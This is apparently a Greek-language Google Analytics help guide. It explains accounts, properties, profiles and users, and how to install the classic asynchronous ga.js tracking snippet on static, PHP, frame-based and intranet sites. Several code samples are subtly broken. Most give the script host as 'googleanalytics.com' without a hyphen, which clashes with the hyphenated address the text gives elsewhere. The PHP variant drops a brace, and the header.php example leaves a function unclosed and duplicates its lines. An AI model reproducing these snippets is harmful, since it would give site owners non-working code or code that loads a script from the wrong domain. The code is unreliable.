συμβουλευτείτε τα άρθρα που επισημαίνονται με σύνδεσμο στην Επισκόπηση του Analytics για λογαριασμούς, χρήστες και δεδομένα και το άρθρο Σχετικά με τις ιδιοκτησίες. Αν ρυθμίζετε το Google Analytics προκειμένου να παρακολουθεί μια εφαρμογή, συμβουλευτείτε τις βέλτιστες πρακτικές μας σχετικά με τη ρύθμιση αναλυτικών στοιχείων για εφαρμογές για κινητά Βήμα 3: Ρυθμίστε τον κώδικα παρακολούθησης. Συμπεριλάβετε το αναγνωριστικό και τον κώδικα παρακολούθησης του Analytics στον ιστότοπό σας ή την εφαρμογή σας για κινητά ώστε να γίνεται συλλογή και αποστολή δεδομένων χρήσης στο λογαριασμό σας στο Analytics. Μπορείτε να παρακολουθείτε πολλαπλές ιδιοκτησίες στον ίδιο λογαριασμό, ωστόσο, κάθε ιδιοκτησία θα πρέπει να ρυθμίζεται μεμονωμένα. Ακολουθήστε διαφορετική διαδικασία προκειμένου να ρυθμίσετε παρακολούθηση ιστού και να ρυθμίσετε παρακολούθηση εφαρμογών για κινητά. Αφού ολοκληρώσετε τη ρύθμισή σας, επιστρέψτε σε αυτό το Κέντρο βοήθειας για να μάθετε περισσότερα σχετικά με τη διαχείριση του λογαριασμού σας, τη χρήση των αναφορών σας και τη σύνδεση του Google Analytics με το AdWords. Εάν συνδέσετε το Google Analytics με το λογαριασμό σας στο AdWords, το Analytics θα παρακολουθεί αυτόματα τη συμπεριφοράτων επισκεπτών που προέρχονται από τις διαφημίσεις σας. Αυτά τα δεδομένα σάς βοηθούν να μετράτε την απόδοση επένδυσης (ROI) του προϋπολογισμού σας στο AdWords και να λαμβάνετε αποφάσεις κατόπιν κατάλληλης ενημέρωσης σχετικά με αλλαγές ή βελτιώσεις στο λογαριασμό σας στο AdWords. Χάρτης διεπαφής 1. Επιλογέας λογαριασμού/προφίλ 2. Ρυθμίσεις διαχειριστή 3. Εύρεση αναφορών 4. Κατάλογος αναφορών 5. Τίτλος αναφοράς 6. Επιλογέας ημερομηνίας 7. Σύνθετα τμήματα 8. Επιλογέας ομάδας μέτρησης

9. Επιλογέας κύριας ιδιότητας 10. Επιλογέας δευτερεύουσας ιδιότητας 11. Φίλτρο πίνακα 12. Στοιχεία ελέγχου πίνακα 13. Επιλογέας προβολής μέτρησης 14. Επιλογέας βήματος γραφήματος 15. Απεικόνιση σειρών 16. Επιλογέας προβολής δεδομένων 17. Αρχική σελίδα (Πίνακες ελέγχου, Σε πραγματικό χρόνο, Intelligence) 18. Προσαρμοσμένες αναφορές 19. Μηνύματα ηλεκτρονικού ταχυδρομείου, εξαγωγή, αναφορές χωρίς δείγμα 20. Προσθήκη στον πίνακα ελέγχου 21. Σχόλια 22. Συμφραστική βοήθεια 23. Πλαίσιο αναζήτησης για τη Βοήθεια

Ρύθμιση παρακολούθησης για ιδιοκτησίες ιστού Ο κώδικας παρακολούθησης του Google Analytics συλλέγει δεδομένα επισκεπτών για την ιδιοκτησία ιστού σας και επιστρέφει αυτά τα δεδομένα στο Analytics, όπου μπορείτε να τα δείτε σε αναφορές. Όταν προσθέτετε ένα νέο περιουσιακό στοιχείο ιστού στον λογαριασμό σας στο Analytics, το Analytics δημιουργεί ένα απόσπασμα κώδικα παρακολούθησης που πρέπει να προστεθεί στις σελίδες των οποίων τα δεδομένα θέλετε να συλλέξετε.

Το απόσπασμα του κωδικού παρακολούθησης περιέχει ένα μοναδικό αναγνωριστικό για το περιουσιακό στοιχείο ιστού, που σας επιτρέπει να προσδιορίσετε τα δεδομένα αυτού του περιουσιακού στοιχείου στις αναφορές σας. Μπορείτε να χρησιμοποιήσετε μόνο το απόσπασμα που δημιουργεί αυτόματα το Analytics ή να προσαρμόσετε τον κώδικα παρακολούθησης, προκειμένου να συλλέγει επιπλέον δεδομένα, όπως συναλλαγές και αγορές προϊόντων (ηλεκτρονικό εμπόριο) ή τη συμπεριφορά των επισκεπτών στους κύριους τομείς και στους υποτομείς διαδικτύου (παρακολούθηση μεταξύ τομέων). Για να ξεκινήσετε, διαβάστε σχετικά με τη ρύθμιση του κώδικα παρακολούθησης στον ιστότοπό σας. Εκτός από τις στατικές ιδιότητες, μπορείτε να παρακολουθήσετε δυναμικούς ιστότοπους, εταιρικά εσωτερικά δίκτυα, ιστολόγια και εφαρμογές για κινητά. Επίσης, μπορείτε να παρακολουθήσετε επισκέπτες σε πολλούς τομείς. Εάν θέλετε πιο λεπτομερείς πληροφορίες, μπορείτε να επισκεφθείτε τον Κώδικα Google για να μάθετε πώς λειτουργεί ο κώδικας παρακολούθησης και πώς μπορείτε να προσαρμόσετε τον κώδικα παρακολούθησης. Τρόπος ρύθμισης του κώδικα παρακολούθησης ιστού ΠΡΙΝ ΞΕΚΙΝΗΣΕΤΕ: Για να ρυθμίσετε την παρακολούθηση, πρέπει να έχετε πρόσβαση στον πηγαίο κώδικα του ιστοτόπου σας. Αν παρακολουθείτε ήδη τον ιστότοπό σας χρησιμοποιώντας ένα παλιότερο απόσπασμα παρακολούθησης, αφαιρέστε αυτό το απόσπασμα από τις σελίδες σας πριν προσθέσετε το νέο. Αν θέλετε να προσαρμόσετε τον κώδικα αφού προσθέσετε το νέο απόσπασμα στις σελίδες σας, μπορείτε να χρησιμοποιήσετε ένα πρόγραμμα επεξεργασίας κειμένου ή HTML για να ανοίξετε και να αποθηκεύσετε κάθε αρχείο. (Ψάχνετε να βρείτε το συμβατικό απόσπασμα; Ανατρέξτε στην ενότητα Χρήση του συμβατικού αποσπάσματος κώδικα παρακολούθησης. Οι παρακάτω οδηγίες περιγράφουν τον τρόπο προσθήκης του αποσπάσματος παρακολούθησης στον ιστότοπό σας. Θεωρούνται δύο πράγματα δεδομένα: - Έχετε ρυθμίσει και χρησιμοποιείτε ένα λογαριασμό στο Analytics για αυτόν τον ιστότοπο. - Έχετε προσθέσει τον ιστότοπό σας ως ιδιοκτησία ιστού στο λογαριασμό που χρησιμοποιείτε.

1. Αρχικά, βρείτε το απόσπασμα του κώδικα παρακολούθησης για το λογαριασμό σας. α. Από την αναφορά του Analytics, κάντε κλικ στην καρτέλα Διαχειριστής. Εμφανίζονται οι ρυθμίσεις προφίλ για αυτήν την αναφορά. β. Ελέγξτε ότι η διεύθυνση URL στην κορυφή αντιστοιχεί σε εκείνην του ιστότοπού σας. Αν οι ρυθμίσεις εμφανίζουν λάθος ιδιοκτησία ιστού, κάντε κλικ στον σύνδεσμο δυναμικής διαδρομής για το λογαριασμό σας και επιλέξτε τη σωστή ιδιοκτησία ιστού από τη λίστα. γ. Κάντε κλικ στην καρτέλα Κώδικας παρακολούθησης επάνω δεξιά από την καρτέλα Προφίλ.

Θα δείτε κάτι που θα μοιάζει με το παρακάτω απόσπασμα κώδικα, όπου το XXXXX-Y υποδεικνύει τον αναγνωριστικό αριθμό ιδιότητας ιστού για τον λογαριασμό σας στο Analytics. <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXX-Y']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.googleanalytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> 2. Αντιγράψτε και τοποθετήστε το απόσπασμα κώδικα Μόλις βρείτε το απόσπασμα κώδικα, αντιγράψτε το και επικολλήστε το στην ιστοσελίδα σας, λίγο πριν την τελευταία ετικέτα </head>. Εάν ο ιστότοπός σας χρησιμοποιεί πρότυπα για τη δημιουργία σελίδων, εισαγάγετε τον κώδικα λίγο πριν την τελευταία ετικέτα </head> του αρχείου που περιέχει το τμήμα <head>. (Οι περισσότεροι ιστότοποι χρησιμοποιούν

επανειλημμένως ένα αρχείο για το κοινό περιεχόμενο, οπότε πιθανότατα δεν θα χρειαστεί να τοποθετήσετε το απόσπασμα κώδικα σε κάθε μεμονωμένη σελίδα του ιστότοπου σας.) Για τη βέλτιστη απόδοση σε όλα τα προγράμματα περιήγησης, προτείνουμε να τοποθετήσετε τα άλλα σενάρια του ιστότοπου σας ακολουθώντας έναν από τους παρακάτω τρόπους: - πριν το απόσπασμα κώδικα παρακολούθησης που υπάρχει στο τμήμα <head> του κώδικα HTML. - μετά το απόσπασμα κώδικα παρακολούθησης και μετά από όλο το περιεχόμενο της σελίδας (π.χ. στο κάτω μέρος του κύριου σώματος HTML). 3. Επαλήθευση και προσαρμογή Επαληθεύστε ότι ο κώδικας παρακολούθησης περιέχει το σωστό αναγνωριστικό αριθμό ιδιοκτησίας ιστού για το προφίλ σας (λογικά θα πρέπει αν τον αντιγράψατε από την οθόνη Ρυθμίσεις προφίλ). Ελέγξτε προσεκτικά ότι το απόσπασμα παρακολούθησης που είναι εγκατεστημένο στον ιστότοπο σας, αντιστοιχεί στον κώδικα που εμφανίζεται στο προφίλ σας. Για περισσότερες πληροφορίες σχετικά με την επαλήθευση της ρύθμισής σας, ανατρέξτε στην ενότητα Επαλήθευση της ρύθμισής σας. Προσθέστε ξανά τυχόν προσαρμογές χρησιμοποιώντας την ασύγχρονη σύνταξη. Ο Οδηγός χρήσης και τα Παραδείγματα μετεγκατάστασης (μόνο στα αγγλικά) του Κώδικα Google, παρέχουν πολλά παραδείγματα προσαρμογών με ασύγχρονη παρακολούθηση. Ένα από τα βασικά πλεονεκτήματα του ασύγχρονου αποσπάσματος παρακολούθησης είναι ότι μπορείτε να το τοποθετήσετε στην αρχή του εγγράφου HTML. Με αυτόν τον τρόπο είναι πιο πιθανό η αποστολή του ιστοφάρου παρακολούθησης να πραγματοποιηθεί πριν απομακρυνθεί ο χρήστης από τη σελίδα. Ο κώδικας JavaScript συνήθως τοποθετείται στο τμήμα <head>. Προτείνουμε να τοποθετήσετε το απόσπασμα στο κάτω μέρος του τμήματος <head> για την καλύτερη δυνατή απόδοση. Δυναμικοί ιστότοποι Στη συνέχεια θα γίνει περιγραφή υψηλού επιπέδου για το πώς μπορείτε να παρακολουθείτε ιστοσελίδες που δημιουργούνται δυναμικά με τεχνολογίες όπως PHP ή ASP. Το ακόλουθο παράδειγμα παρουσιάζει με ποιον τρόπο θα μπορούσατε να προβείτε σε αυτήν την ενέργεια χρησιμοποιώντας PHP, όμως η λύση ισχύει και για οποιαδήποτε άλλη παρόμοια τεχνολογία δημιουργίας ιστότοπων, όπως ASP ή JSP.

Καθώς οι ιστότοποι που χρησιμοποιούν αυτές τις τεχνολογίες μπορούν να σχεδιαστούν με πολλούς διαφορετικούς τρόπους, αν τα παραδείγματα ήταν πιο συγκεκριμένα, θα υπήρχε κίνδυνος να μην λειτουργήσουν για τον ιστότοπό σας. 1. Ξεκινήστε με τον οδηγό κώδικα παρακολούθησης. Η σελίδα Κώδικας παρακολούθησης στις Ρυθμίσεις προφίλ περιέχει ένα εύχρηστο εργαλείο που δημιουργεί για εσάς τον κώδικα. Το μόνο που έχετε να κάνετε μετά είναι να τον αντιγράψετε και να τον επικολλήσετε στον ιστότοπό σας, αποφεύγοντας έτσι τυχόν σφάλματα στον κώδικα που θα μπορούσαν να γίνουν αν η εισαγωγή γινόταν μη αυτόματα. 2. Επικολλήστε τον κώδικα παρακολούθησης σε ένα κοινό αρχείο. Συνήθως, οι δυναμικοί ιστότοποι κάνουν χρήση ενός μηχανισμού εισαγωγής περιεχομένου ως μέρος ενός γενικού προτύπου σελίδας. Επικολλήστε τον κώδικα παρακολούθησης σε ένα κοινό αρχείο που μπορεί να συμπεριληφθεί στο αρχείο κεφαλίδας του ιστοτόπου σας. Για παράδειγμα, ενδέχεται να έχετε ένα αρχείο με την ονομασία analyticsTracking.php που περιέχει τα παρακάτω: <script type="text/javascript"> var

_gaq

=

_gaq

||

[];

_gaq.push(['_setAccount',

'UA-18071-25']);

_gaq.push(['_trackPageview']); (function() var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.googleanalytics.com/ga.js';

var

s

=

document.getElementsByTagName('script')[0];

s.parentNode.insertBefore(ga, s); })(); </script> Βεβαιωθείτε ότι ο κώδικας παρακολούθησης βρίσκεται πριν από την ετικέτα τέλους </head>. Αυτό το πολύ απλό παράδειγμα περιγράφει μια τυπική δομή προτύπου με χρήση PHP, αλλά στον ιστότοπό σας ο κώδικας θα μπορούσε να είναι διαφορετικός. <html> <?php include ("header.php"); ?> <body>

<?php include ("sideNav.php"); ?> <?php include ("mainContent.php"); ?> </body> </html> Εδώ, θα μπορούσατε να συμπεριλάβετε τον κώδικα παρακολούθησης του Analytics στο αρχείο header.php ως εξής: <script type="text/javascript"> var myJavascriptCode = 'testValue'; function test() { myJavascriptCode += ' κάτι'; </script> <link href="/css/my.css" type="text/css" rel="stylesheet"> <!--να συμπεριληφθεί ο κώδικας παρακολούθησης του Analytics στο παρακάτω αρχείο κεφαλίδας –> <?php include ("analyticsTracking.php"); ?> </head> <link href="/css/my.css" type="text/css" rel="stylesheet"> <?php include ("analyticsTracking.php"); ?> </head>

Ιστότοποι με πλαίσια Η εγκατάσταση του κώδικα παρακολούθησης του Analytics σε έναν ιστότοπο που κάνει χρήση πλαισίων απαιτεί αρκετή προσοχή, προκειμένου να εξασφαλιστεί ότι η παρακολούθηση της επισκεψιμότητας θα γίνει με ακρίβεια και ότι θα διατηρηθούν οι πληροφορίες παραπομπής. 1. Πού πρέπει να τοποθετήσω τον κώδικα παρακολούθησης; Για ιστότοπους που κάνουν χρήση πλαισίων, συνιστούμε την τοποθέτηση του κώδικα παρακολούθησης στο τμήμα <head> της σελίδας frameset (γονικής σελίδας), καθώς και

αμέσως πριν από την ετικέτα </head> για κάθε θυγατρικό πλαίσιο που θέλετε να παρακολουθήσετε. Αν τοποθετήσετε τον κώδικα παρακολούθησης σε μια ετικέτα <noframe> θεωρώντας ότι είναι το ίδιο με την τοποθέτηση στο κυρίως σώμα, ο κώδικας δεν θα εκτελεστεί και δεν θα γίνει καταγραφή δεδομένων. 2. Γιατί δεν εμφανίζονται οι πληροφορίες σχετικά με το κόστος ανά κλικ (CPC); Η διεύθυνση URL της σελίδας προορισμού των διαφημίσεών σας πρέπει να είναι το γονικό έγγραφο HTML frameset και όχι τα θυγατρικά πλαίσια που περιέχει. Αν δεν έχετε προσθέσει τον κώδικα παρακολούθησης στο τμήμα <head> του frameset, το Analytics δεν θα παρακολουθήσει τη συγκεκριμένη σελίδα και οι παράμετροι της καμπάνιας σας θα χαθούν. 3. Γιατί δεν εμφανίζονται οι παραπομπές; Αν όλα τα πλαίσια του ιστότοπου βρίσκονται στον ίδιο τομέα, τότε οι πληροφορίες παραπομπής μπορούν να καταγραφούν σωστά, αρκεί να έχετε εγκαταστήσει τον κώδικα παρακολούθησης στην πρώτη σελίδα που επισκέπτονται οι χρήστες στον ιστότοπο. Αν τα πλαίσια στον ιστότοπο βρίσκονται σε διαφορετικούς τομείς, είναι πιθανό ότι οι πληροφορίες παραπομπής δεν θα είναι ακριβείς, καθώς ένα πλαίσιο θα μπορούσε να καταγραφεί ως πηγή παραπομπής για ένα άλλο. Αυτό οφείλεται στην ιεραρχική φύση των πλαισίων, η οποία καταγράφεται ως σύνδεσμος παραπομπής. Σε κάθε περίπτωση, οι αναφορές Σύνοψη πλοήγησης και Επικάλυψη ιστότοπου για ιστότοπους με πλαίσια είναι πολύ πιθανό ότι δεν θα παρέχουν χρήσιμες πληροφορίες, καθώς όλα τα πλαίσια που περιέχουν κώδικα παρακολούθησης θα καταγραφούν ως ξεχωριστές προβολές σελίδας. Επιπλέον, η σειρά αυτών των προβολών σελίδας θα εξαρτάται από τη σειρά φόρτωσης των πλαισίων και όχι από την πραγματική διαδρομή πλοήγησης που ακολούθησαν οι επισκέπτες σας. 4. Μήπως η επισκεψιμότητα που εμφανίζεται είναι μεγαλύτερη από την πραγματική; Οι ιστοσελίδες που κάνουν χρήση πλαισίων δημιουργούν πολλαπλές προβολές σελίδας: μία για τη σελίδα πλαισίου που περιέχει είτε μια ετικέτα frameset είτε μια ετικέτα iframe στον κώδικα HTML της και μία για κάθε σελίδα που εμφανίζεται σε ένα πλαίσιο.

Στις αναφορές πλοήγησής σας, κάθε μία από αυτές τις προβολές σελίδας εμφανίζεται με την εξής σειρά: Σελίδα πλαισίου > σελίδα σε πλαίσιο 1 > σελίδα σε πλαίσιο 2 Κατά συνέπεια, η αναφορά Επισκέπτες > Συμπεριφορά > Αφοσίωση, καθώς και ο συνολικός αριθμός προβολών σελίδας, ενδέχεται να παρουσιάζουν τιμές ελαφρώς υψηλότερες από τις πραγματικές. Ακόμη και αν μια σελίδα στον ιστότοπό σας εμφανίζεται μόνο ως πλαίσιο για μια άλλη σελίδα, συνιστάται να της προσθέσετε τον κώδικα παρακολούθησης ως ετικέτα. Εάν ένας επισκέπτης φτάσει στη σελίδα μέσω μιας μηχανής αναζήτησης ή ενός απευθείας συνδέσμου από κάποιον άλλο ιστότοπο και η σελίδα δεν περιέχει τον κώδικα παρακολούθησης, τότε θα χαθούν οι πληροφορίες της προέλευσης για την παραπομπή, τη λέξη-κλειδί ή/και την καμπάνια. Μπορείτε, ωστόσο, να επιλέξετε να παρακολουθήσετε μόνο ορισμένες από τις σελίδες με πλαίσιο ή μόνο το ίδιο το σύνολο πλαισίων. Η δική σας υλοποίηση του κώδικα θα εξαρτηθεί από τα δεδομένα που θέλετε να συλλέξετε. Το εταιρικό εσωτερικό σας δίκτυο Προκειμένου να δημιουργήσει το Google Analytics αναφορές για τη χρήση ενός εταιρικού εσωτερικού δικτύου, το εταιρικό δίκτυο πρέπει να έχει τη δυνατότητα πρόσβασης στο αρχείο JavaScript

ga.js

στη

διεύθυνση

http://www.google-analytics.com/ga.js

ή

https://www.googleanalytics.com/ga.js. Αν μπορείτε να έχετε πρόσβαση στην παραπάνω διεύθυνση URL χρησιμοποιώντας την εταιρική σας σύνδεση στο Διαδίκτυο, πληροίτε την πρώτη προϋπόθεση. Επιπλέον, το εσωτερικό σας δίκτυο πρέπει να είναι προσβάσιμο μέσω ενός πλήρους ονόματος τομέα, όπως http://intranet.example.com. Το αρχείο JavaScript ga.js δεν θα λειτουργήσει αν η πρόσβαση στο εσωτερικό σας δίκτυο μπορεί να γίνει μόνο μέσω ενός ονόματος τομέα που δεν είναι πλήρες, όπως http://intranet. Λογαριασμοί, χρήστες, ιδιοκτησίες και προφίλ Χρησιμοποιείτε το Analytics για τη συλλογή και την αναφορά πληροφοριών σχετικά με την επισκεψιμότητα που λαμβάνει μια ιδιοκτησία. Ο όρος ιδιοκτησία αναφέρεται σε οποιονδήποτε ιστότοπο, εφαρμογή για κινητά, ιστολόγιο--σε κάθε σελίδα που λαμβάνει

επισκεψιμότητα μέσω ιστού ή εφαρμογής για κινητά. Για να συλλέξετε αυτές τις πληροφορίες με το Analytics, πρέπει να: 1. Εγγραφείτε για έναν λογαριασμό του Analytics (σε περίπτωση που έχετε ήδη λογαριασμό, μπορείτε να παραλείψετε αυτό το βήμα) 2. Προσθέσετε την ιδιοκτησία σας στο λογαριασμό 3. Ρυθμίσετε τουλάχιστον ένα προφίλ για την ιδιοκτησία 4. Προαιρετικά, προσθέστε επιπλέον χρήστες στο προφίλ 5. Προσθέστε τον κώδικα παρακολούθησης του Analytics στην ιδιοκτησία Πρώτα από όλα, θα πρέπει να δούμε τον τρόπο με τον οποίο σχετίζονται αυτές οι οντότητες στο πλαίσιο του Analytics. 1. Λογαριασμός (Account): Το σημείο πρόσβασης στο Analytics και το ανώτερο επίπεδο της οργάνωσης. 2. Ιδιοκτησία (Property): Ιστότοπος, εφαρμογή για κινητά, ιστολόγιο, κ.λπ. Ένας λογαριασμός μπορεί να περιέχει μία ή περισσότερες ιδιοκτησίες. 3. Προφίλ (Profile): Το σημείο πρόσβασής σας στις αναφορές. Το προφίλ είναι μια καθορισμένη προβολή δεδομένων επισκεπτών από μια ιδιοκτησία. Οι χρήστες του λογαριασμού που προσθέτετε σε ένα προφίλ μπορούν να δουν τις αναφορές που βασίζονται στα δεδομένα του συγκεκριμένου προφίλ. Μια ιδιοκτησία μπορεί να περιέχει ένα ή περισσότερα προφίλ. 4. Χρήστες (Users): Προσθέτετε χρήστες σε έναν λογαριασμό. Οι χρήστες διαθέτουν είτε πρόσβαση διαχειριστή είτε πρόσβαση μόνο για ανάγνωση. Λογαριασμοί Χρειάζεστε τουλάχιστον ένα λογαριασμό στο Analytics για να έχετε πρόσβαση σε αυτό, καθώς και για να έχετε τη δυνατότητα να προσδιορίσετε τις ιδιοκτησίες που θέλετε να παρακολουθείτε. Ο τρόπος με τον οποίο διαχειρίζεστε τη σχέση μεταξύ των λογαριασμών και των ιδιοκτησιών εξαρτάται από εσάς. Μπορείτε να χρησιμοποιήσετε μια σχέση ένα προς ένα για ένα λογαριασμό/μια ιδιοκτησία ή μπορείτε να χρησιμοποιήστε μια σχέση ένα προς πολλά για ένα λογαριασμό/πολλές ιδιοκτησίες. Μπορείτε να έχετε πολλούς λογαριασμούς στο Analytics. Εάν δεν έχετε ακόμα λογαριασμό, εγγραφείτε εδώ.

Ιδιοκτησίες Σε ένα λογαριασμό στο Analytics, προσθέτετε τις ιδιοκτησίες από τις οποίες θέλετε να συλλέγονται δεδομένα επισκεπτών. Όταν προσθέτετε μια ιδιοκτησία σε ένα λογαριασμό, το Analytics δημιουργεί τον κώδικα παρακολούθησης που θα χρησιμοποιείτε για τη συλλογή δεδομένων από τη συγκεκριμένη ιδιοκτησία. Ο κώδικας παρακολούθησης περιέχει ένα μοναδικό αναγνωριστικό που προσδιορίζει τα δεδομένα από αυτήν την ιδιοκτησία και διευκολύνει την ταυτοποίησή τους στις αναφορές σας. Το Analytics δημιουργεί επίσης ένα μη φιλτραρισμένο προφίλ για κάθε ιδιοκτησία που προσθέτετε Προφίλ Για παράδειγμα, μια ιδιοκτησία μπορεί να περιέχει: - Ένα προφίλ όπου προβάλλονται όλα τα δεδομένα για τη διεύθυνση www.example.com. - Ένα προφίλ όπου προβάλλεται μόνο η επισκεψιμότητα του AdWords για τη διεύθυνση www.example.com - Ένα προφίλ όπου προβάλλεται μόνο η επισκεψιμότητα ενός υποτομέα όπως είναι το www.example.com/sales/. Εσείς καθορίζετε την προβολή δεδομένων για ένα προφίλ, εφαρμόζοντας φίλτρα. Όταν προσθέτετε μια ιδιοκτησία σε ένα λογαριασμό, το Analytics δημιουργεί το πρώτο προφίλ για τη συγκεκριμένη ιδιοκτησία. Το πρώτο προφίλ δεν είναι φιλτραρισμένο και διαθέτει μια προβολή όλων των δεδομένων για την ιδιοκτησία. Για να διασφαλίσετε ότι θα έχετε πάντα προβολή όλων των δεδομένων για μια ιδιοκτησία, δεν πρέπει να διαγράψετε ποτέ αυτό το πρώτο, μη φιλτραρισμένο προφίλ. Μπορείτε να δημιουργήσετε πρόσθετα προφίλ και να εφαρμόσετε φίλτρα, έτσι ώστε κάθε προφίλ να περιλαμβάνει το συγκεκριμένο υποσύνολο δεδομένων που σας ενδιαφέρει. Όταν δημιουργείτε ένα προφίλ, θα μπορείτε στη συνέχεια να πραγματοποιείτε αναφορά για τη συγκεκριμένη προβολή δεδομένων από την ημερομηνία δημιουργίας του προφίλ και μετά. Για παράδειγμα, εάν δημιουργήσετε ένα προφίλ την 1η Ιουνίου, μπορείτε να πραγματοποιήσετε αναφορά για τα δεδομένα από την 1η Ιουνίου και μετά, αλλά όχι για δεδομένα που συγκεντρώθηκαν πριν από την 1η Ιουνίου.

Εάν πρέπει να πραγματοποιήσετε αναφορά για δεδομένα πριν από την ημερομηνία δημιουργίας ενός προφίλ, μπορείτε να χρησιμοποιήσετε το πρώτο, μη φιλτραρισμένο προφίλ και να χρησιμοποιήσετε το εύρος ημερομηνιών και άλλα στοιχεία ελέγχου για να απομονώσετε συγκεκριμένες πληροφορίες. Ωστόσο, θα πρέπει να είστε προσεκτικοί προκειμένου να μην εφαρμόζετε φίλτρα σε αυτό το προφίλ. Εάν διαγράψετε κάποιο προφίλ, η συγκεκριμένη προβολή δεδομένων θα χαθεί για πάντα. Μην διαγράφετε ένα προφίλ, αν πιστεύετε ότι κάποια στιγμή θα χρειαστείτε μια αναφορά για τη συγκεκριμένη προβολή δεδομένων. Για να προβάλλετε αναφορές στο Analytics, πρέπει πρώτα να επιλέξετε ένα προφίλ. Αν και το Analytics περιλαμβάνει ένα προεπιλεγμένο σύνολο αναφορών, περιεχόμενο διαθέτουν μόνο αυτές που αντιστοιχούν στα δεδομένα που συλλέγονται για το προφίλ. Χρήστες Μπορείτε να προσθέσετε επιπλέον χρήστες σε έναν λογαριασμό στο Analytics. Μπορείτε να προσθέσετε αυτούς τους χρήστες είτε όταν εργάζεστε στο επίπεδο λογαριασμού (Λογαριασμός > καρτέλα Χρήστες) είτε όταν εργάζεστε στο επίπεδο προφίλ (Λογαριασμός > Ιδιοκτησία > Προφίλ > καρτέλα Χρήστες). Κατά την προσθήκη ενός χρήστη, αυτό το άτομο προσδιορίζεται με βάση μια διεύθυνση ηλεκτρονικού ταχυδρομείου η οποία είναι καταχωρισμένη στους Λογαριασμούς Google. Μπορείτε να παραχωρήσετε σε αυτόν το χρήστη δικαιώματα διαχειριστή (που του επιτρέπουν να κάνει ό,τι θέλει στο Analytics) ή δικαιώματα μόνο για ανάγνωση (που του επιτρέπουν μόνο να διαβάζει αναφορές). Παραχωρείτε επίσης σε ένα χρήστη πρόσβαση σε ένα σύνολο προφίλ και, συνεπώς, πρόσβαση στις αναφορές αυτών των προφίλ Σχετικά με τις ιδιοκτησίες Μπορεί να θεωρείτε τον ιστότοπό σας ή την εφαρμογή σας για κινητά ως ένα μοναδικό, πραγματικό στοιχείο ιδιοκτησίας, όπως ένα γάντι του μπέιζμπολ ή μια ιστιοσανίδα, ωστόσο, το Google Analytics αντιλαμβάνεται ως κομμάτι ιδιοκτησίας κάτι που συσχετίζεται με ένα μοναδικό αναγνωριστικό παρακολούθησης. Όταν παρακολουθείτε έναν πόρο χρησιμοποιώντας το Google Analytics, συμπεριλαμβάνετε ένα από αυτά τα αναγνωριστικά στον κώδικα παρακολούθησης που χρησιμοποιείτε στον πηγαίο κώδικα του ιστότοπου ή της εφαρμογής σας. Τα δεδομένα απόδοσης, όπως ο αριθμός

των επισκεπτών ή οι προβολές οθόνης, για πόρους που φέρουν ετικέτες με το ίδιο αναγνωριστικό, συλλέγονται στην ίδια ιδιοκτησία. Για παράδειγμα, αν συσχετίζετε ένα αναγνωριστικό παρακολούθησης με δύο ιστότοπους, τα δεδομένα και των δύο ιστότοπων εμφανίζονται στην ίδια ιδιοκτησία. Τα ανεπεξέργαστα δεδομένα που συλλέγονται σε αυτήν την ιδιοκτησία μπορούν στη συνέχεια να οργανωθούν χρησιμοποιώντας φίλτρα και προφίλ λογαριασμού. Μπορείτε να διαχωρίσετε αυτά τα δεδομένα ακόμα περισσότερο στις αναφορές σας, με εργαλεία όπως π.χ. οι Ιδιότητες και Σύνθετα τμήματα. Αναλογιστείτε τους μακροπρόθεσμους στόχους αναφοράς και τον τρόπο με τον οποίο ενδέχεται να επηρεάζουν τη δομή του λογαριασμού σας. Συνιστάται η κατάρτιση ενός σχεδίου εφαρμογής προτού προβείτε σε ρύθμιση νέων ιδιοκτησιών. Σε ορισμένες περιπτώσεις, ενδέχεται να θέλετε να έχετε πολλαπλούς πόρους οι οποίοι θα αποστέλλουν δεδομένα στην ίδια ιδιοκτησία. Σε άλλες περιπτώσεις, ενδέχεται να θέλετε όλες οι ιδιοκτησίες να συλλέγουν δεδομένα από έναν πόρο. Και στις δύο περιπτώσεις, προτείνεται να χρησιμοποιείτε φίλτρα και προφίλ προκειμένου να κάνετε πιο συγκεκριμένα τα ανεπεξέργαστα δεδομένα που συλλέγονται σε μια ιδιοκτησία. Ενώ είναι πιθανό να συνδυάσετε πολλούς πόρους σε μία ιδιοκτησία αν τους προσθέσετε την ίδια ετικέτα με αυτήν του αναγνωριστικού παρακολούθησης, δεν είναι δυνατή η συμπερίληψη πόρων ιστού και εφαρμογών στην ίδια ιδιοκτησία. Τα δεδομένα παρακολούθησης εφαρμογών μπορούν να εμφανίζονται μόνο σε καθορισμένες ιδιοκτησίες εφαρμογών και τα δεδομένα παρακολούθησης ιστού μπορούν να εμφανίζονται μόνο σε καθορισμένες ιδιοκτησίες ιστού. Δεν υποστηρίζονται εναλλακτικές διαμορφώσεις και θα έχουν ως αποτέλεσμα κατεστραμμένα ή ημιτελή δεδομένα. Σχετικά με τα προφίλ Το προφίλ είναι ένα προσαρμόσιμο επίπεδο μεταξύ των αναφορών και των ανεπεξέργαστων δεδομένων παρακολούθησης που συλλέγονται σε μια ιδιοκτησία. Τα προφίλ μπορούν να χρησιμοποιούνται για το φιλτράρισμα ή τον περιορισμό των ανεπεξέργαστων δεδομένων, έτσι ώστε να βλέπετε στις αναφορές σας μόνο τα δεδομένα που χρειάζεστε.

